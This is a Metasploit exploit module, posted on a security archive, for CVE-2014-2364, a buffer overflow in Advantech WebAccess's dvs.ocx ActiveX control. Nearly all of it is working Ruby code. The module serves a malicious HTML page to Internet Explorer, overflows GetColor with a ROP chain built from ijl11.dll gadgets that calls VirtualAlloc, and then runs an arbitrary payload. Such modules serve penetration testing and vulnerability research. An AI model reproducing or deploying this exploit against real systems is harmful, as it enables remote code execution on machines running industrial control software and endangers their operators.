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Advantech WebAccess dvs.ocx GetColor Buffer Overflow

Advantech WebAccess dvs.ocx GetColor Buffer Overflow
Posted Sep 24, 2014
Authored by juan vazquez, temp66 | Site metasploit.com

This Metasploit module exploits a buffer overflow vulnerability in Advantec WebAccess. The vulnerability exists in the dvs.ocx ActiveX control, where a dangerous call to sprintf can be reached with user controlled data through the GetColor function. This Metasploit module has been tested successfully on Windows XP SP3 with IE6 and Windows 7 SP1 with IE8 and IE 9.

tags | exploit, overflow, activex
systems | windows
advisories | CVE-2014-2364
SHA-256 | 2c87a396ae651d2548218234d6c075460d07bc9f8c985df84efe8276828e073e

Advantech WebAccess dvs.ocx GetColor Buffer Overflow

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::BrowserExploitServer

def initialize(info = {})
super(update_info(info,
'Name' => 'Advantech WebAccess dvs.ocx GetColor Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow vulnerability in Advantec WebAccess. The
vulnerability exists in the dvs.ocx ActiveX control, where a dangerous call to
sprintf can be reached with user controlled data through the GetColor function.
This module has been tested successfully on Windows XP SP3 with IE6 and Windows
7 SP1 with IE8 and IE 9.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
['CVE', '2014-2364'],
['ZDI', '14-255'],
['URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-198-02']
],
'DefaultOptions' =>
{
'Retries' => false,
'InitialAutoRunScript' => 'migrate -f'
},
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => Msf::OperatingSystems::WINDOWS,
:ua_name => /MSIE/i,
:ua_ver => lambda { |ver| Gem::Version.new(ver) < Gem::Version.new('10') },
:clsid => "{5CE92A27-9F6A-11D2-9D3D-000001155641}",
:method => "GetColor"
},
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'BadChars' => "\x00\x0a\x0d\x5c",
# Patch the stack to execute the decoder...
'PrependEncoder' => "\x81\xc4\x9c\xff\xff\xff", # add esp, -100
# Fix the stack again, this time better :), before the payload
# is executed.
'Prepend' => "\x64\xa1\x18\x00\x00\x00" + # mov eax, fs:[0x18]
"\x83\xC0\x08" + # add eax, byte 8
"\x8b\x20" + # mov esp, [eax]
"\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000
},
'Platform' => 'win',
'Arch' => ARCH_X86,
'Targets' =>
[
[ 'Automatic', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 17 2014'))
end

def on_request_exploit(cli, request, target_info)
print_status("Requested: #{request.uri}")

content = <<-EOS
<html>
<head>
<meta http-equiv="cache-control" content="max-age=0" />
<meta http-equiv="cache-control" content="no-cache" />
<meta http-equiv="expires" content="0" />
<meta http-equiv="expires" content="Tue, 01 Jan 1980 1:00:00 GMT" />
<meta http-equiv="pragma" content="no-cache" />
</head>
<body>
<object classid='clsid:5CE92A27-9F6A-11D2-9D3D-000001155641' id='test' /></object>
<script language='javascript'>
test.GetColor("#{rop_payload(get_payload(cli, target_info))}", 0);
</script>
</body>
</html>
EOS

print_status("Sending #{self.name}")
send_response_html(cli, content, {'Pragma' => 'no-cache'})
end

# Uses gadgets from ijl11.dll 1.1.2.16
def rop_payload(code)
xpl = rand_text_alphanumeric(61) # offset
xpl << [0x60014185].pack("V") # RET
xpl << rand_text_alphanumeric(8)

# EBX = dwSize (0x40)
xpl << [0x60012288].pack("V") # POP ECX # RETN
xpl << [0xffffffff].pack("V") # ecx value
xpl << [0x6002157e].pack("V") # POP EAX # RETN
xpl << [0x9ffdafc9].pack("V") # eax value
xpl << [0x60022b97].pack("V") # ADC EAX,60025078 # RETN
xpl << [0x60024ea4].pack("V") # MUL EAX,ECX # RETN 0x10
xpl << [0x60018084].pack("V") # POP EBP # RETN
xpl << rand_text_alphanumeric(4) # padding
xpl << rand_text_alphanumeric(4) # padding
xpl << rand_text_alphanumeric(4) # padding
xpl << rand_text_alphanumeric(4) # padding
xpl << [0x60029f6c].pack("V") # .data ijl11.dll
xpl << [0x60012288].pack("V") # POP ECX # RETN
xpl << [0x60023588].pack("V") # ECX => (&POP EBX # RETN)
xpl << [0x6001f1c8].pack("V") # push edx # or al,39h # push ecx # or byte ptr [ebp+5], dh # mov eax, 1 # ret
# EDX = flAllocationType (0x1000)
xpl << [0x60012288].pack("V") # POP ECX # RETN
xpl << [0xffffffff].pack("V") # ecx value
xpl << [0x6002157e].pack("V") # POP EAX # RETN
xpl << [0x9ffdbf89].pack("V") # eax value
xpl << [0x60022b97].pack("V") # ADC EAX,60025078 # RETN
xpl << [0x60024ea4].pack("V") # MUL EAX,ECX # RETN 0x10
# ECX = flProtect (0x40)
xpl << [0x6002157e].pack("V") # POP EAX # RETN
xpl << rand_text_alphanumeric(4) # padding
xpl << rand_text_alphanumeric(4) # padding
xpl << rand_text_alphanumeric(4) # padding
xpl << rand_text_alphanumeric(4) # padding
xpl << [0x60029f6c].pack("V") # .data ijl11.dll
xpl << [0x60012288].pack("V") # POP ECX # RETN
xpl << [0xffffffff].pack("V") # ecx value
0x41.times do
xpl << [0x6001b8ec].pack("V") # INC ECX # MOV DWORD PTR DS:[EAX],ECX # RETN
end
# EAX = ptr to &VirtualAlloc()
xpl << [0x6001db7e].pack("V") # POP EAX # RETN [ijl11.dll]
xpl << [0x600250c8].pack("V") # ptr to &VirtualAlloc() [IAT ijl11.dll]
# EBP = POP (skip 4 bytes)
xpl << [0x6002054b].pack("V") # POP EBP # RETN
xpl << [0x6002054b].pack("V") # ptr to &(# pop ebp # retn)
# ESI = ptr to JMP [EAX]
xpl << [0x600181cc].pack("V") # POP ESI # RETN
xpl << [0x6002176e].pack("V") # ptr to &(# jmp[eax])
# EDI = ROP NOP (RETN)
xpl << [0x60021ad1].pack("V") # POP EDI # RETN
xpl << [0x60021ad2].pack("V") # ptr to &(retn)
# ESP = lpAddress (automatic)
# PUSHAD # RETN
xpl << [0x60018399].pack("V") # PUSHAD # RETN
xpl << [0x6001c5cd].pack("V") # ptr to &(# push esp # retn)
xpl << code

xpl.gsub!("\"", "\\\"") # Escape double quote, to not break javascript string
xpl.gsub!("\\", "\\\\") # Escape back slash, to avoid javascript escaping

xpl
end

end
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